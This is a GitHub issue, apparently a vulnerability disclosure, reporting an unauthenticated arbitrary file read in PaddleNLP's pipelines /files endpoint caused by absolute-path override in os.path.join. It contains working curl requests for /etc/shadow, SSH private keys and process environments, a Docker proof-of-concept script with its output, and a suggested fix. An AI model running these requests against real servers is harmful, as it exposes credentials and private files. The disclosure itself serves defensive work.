[Bug]: PaddleNLP /files Endpoint Arbitrary File Read via Absolute Path Override
Author: AAtomicalCreated Jul 9, 2026Updated Aug 19, 2026
Labelsbug
软件环境
paddle-bfloat 0.1.7
paddle2onnx 0.9.8
paddlefsl 1.1.0
paddlenlp 2.3.0.dev0
paddleocr 2.5.0.3
paddlepaddle 2.3.1重复问题
- I have searched the existing issues
错误描述
## Summary
`PaddlePaddle/PaddleNLP` (12k+ stars) pipelines REST API has an arbitrary file read vulnerability in `GET /files`. The `file_name` query parameter is passed directly to `os.path.join(FILE_PARSE_PATH, file_name)` with zero validation. When `file_name` is an absolute path (e.g. `/etc/passwd`), Python's `os.path.join` discards the base directory entirely, allowing an unauthenticated remote attacker to read any file readable by the server process.
## Vulnerable Code
# slm/pipelines/rest_api/controller/file_upload.py:225-230
@router.get("/files")
def download_file(file_name: str = "1fc0aeac9900487a8c6cec8dda6499bd_demo_1.png"):
file_path = os.path.join(FILE_PARSE_PATH, file_name) # ← absolute path overrides base
if os.path.exists(file_path):
return FileResponse(file_path) # ← serves arbitrary file
return {"message": "File not Found"}
## Root Cause
`os.path.join("/safe/dir", "/etc/passwd")` → `"/etc/passwd"`. When the second argument starts with `/`, the first is discarded. No `os.path.basename()`, no containment check, no path validation of any kind.
## Attack
# No authentication required — single GET request
curl http://target:8000/files?file_name=/etc/passwd
curl http://target:8000/files?file_name=/etc/shadow
curl http://target:8000/files?file_name=/root/.ssh/id_rsa
curl http://target:8000/files?file_name=/proc/self/environ稳定复现步骤 & 代码
poc.py
import os
import subprocess
import sys
import time
import requests
CONTAINER = "paddlenlp_poc"
IMAGE = "paddlenlp-poc"
PORT = 18990
BASE = f"http://127.0.0.1:{PORT}"
def build():
poc_dir = os.path.dirname(os.path.abspath(__file__))
r = subprocess.run(
["docker", "build", "--platform", "linux/amd64", "-t", IMAGE, poc_dir],
capture_output=True, text=True, timeout=600,
)
if r.returncode != 0:
print(r.stderr[-2000:])
sys.exit(1)
def start():
subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)
subprocess.run([
"docker", "run", "-d", "--platform", "linux/amd64",
"--name", CONTAINER, "-p", f"{PORT}:8000", IMAGE,
], check=True, capture_output=True)
for _ in range(20):
try:
if requests.get(f"{BASE}/files?file_name=legit.png", timeout=2).status_code == 200:
return True
except Exception:
pass
time.sleep(1)
return False
def exploit():
r_baseline = requests.get(f"{BASE}/files", params={"file_name": "legit.png"})
r_abs = requests.get(f"{BASE}/files", params={"file_name": "/etc/hosts"})
r_passwd = requests.get(f"{BASE}/files", params={"file_name": "/etc/passwd"})
return r_baseline, r_abs, r_passwd
def cleanup():
subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)
def main():
build()
if not start():
print("[-] Server failed to start")
print(subprocess.run(["docker", "logs", CONTAINER], capture_output=True, text=True).stdout[-1000:])
cleanup()
sys.exit(1)
r_baseline, r_abs, r_passwd = exploit()
cleanup()
abs_ok = r_abs.status_code == 200 and "localhost" in r_abs.text
passwd_ok = r_passwd.status_code == 200 and "root:" in r_passwd.text
print(f"source: PaddleNLP/slm/pipelines/rest_api/controller/file_upload.py:227-229")
print(f"endpoint: GET /files?file_name=<path>")
print(f"sink: os.path.join(FILE_PARSE_PATH, file_name) → FileResponse()")
print()
print(f"[baseline] file_name=legit.png status={r_baseline.status_code} body={r_baseline.text[:40]!r}")
print(f"[A] file_name=/etc/hosts status={r_abs.status_code} body={r_abs.text[:80]!r}")
print(f"[B] file_name=/etc/passwd status={r_passwd.status_code} body={r_passwd.text[:80]!r}")
print()
print(f"result: {'VULNERABLE' if abs_ok and passwd_ok else 'NOT CONFIRMED'}")
sys.exit(0 if abs_ok and passwd_ok else 1)
if __name__ == "__main__":
main()
Proof of Concept
Environment
| Component | Detail |
|---|---|
| PaddleNLP | Latest develop branch (cloned from GitHub) |
| Server | Real pipelines REST API, Docker (paddlepaddle/paddlenlp:pipelines-cpu-1.0 base image + current source) |
| Attack | HTTP GET via requests |
PoC output
source: PaddleNLP/slm/pipelines/rest_api/controller/file_upload.py:227-229
endpoint: GET /files?file_name=<path>
sink: os.path.join(FILE_PARSE_PATH, file_name) → FileResponse()
[baseline] file_name=legit.png status=200 body='LEGITIMATE_PNG\n'
[A] file_name=/etc/hosts status=200 body='127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost...'
[B] file_name=/etc/passwd status=200 body='root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...'
result: VULNERABLESuggested Fix
@router.get("/files")
def download_file(file_name: str = "1fc0aeac9900487a8c6cec8dda6499bd_demo_1.png"):
file_name = os.path.basename(file_name)
file_path = os.path.join(FILE_PARSE_PATH, file_name)
if not os.path.abspath(file_path).startswith(os.path.abspath(FILE_PARSE_PATH) + os.sep):
raise HTTPException(status_code=400, detail="Invalid file name")
if os.path.exists(file_path):
return FileResponse(file_path)
return {"message": "File not Found"}Source: PaddlePaddle/PaddleNLP